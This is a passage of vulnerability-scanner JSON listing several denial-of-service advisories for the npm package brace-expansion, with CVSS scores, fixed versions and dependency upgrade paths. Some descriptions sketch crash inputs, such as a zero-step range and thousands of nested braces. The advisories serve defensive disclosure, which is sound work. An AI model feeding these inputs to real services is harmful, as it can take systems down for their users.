"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
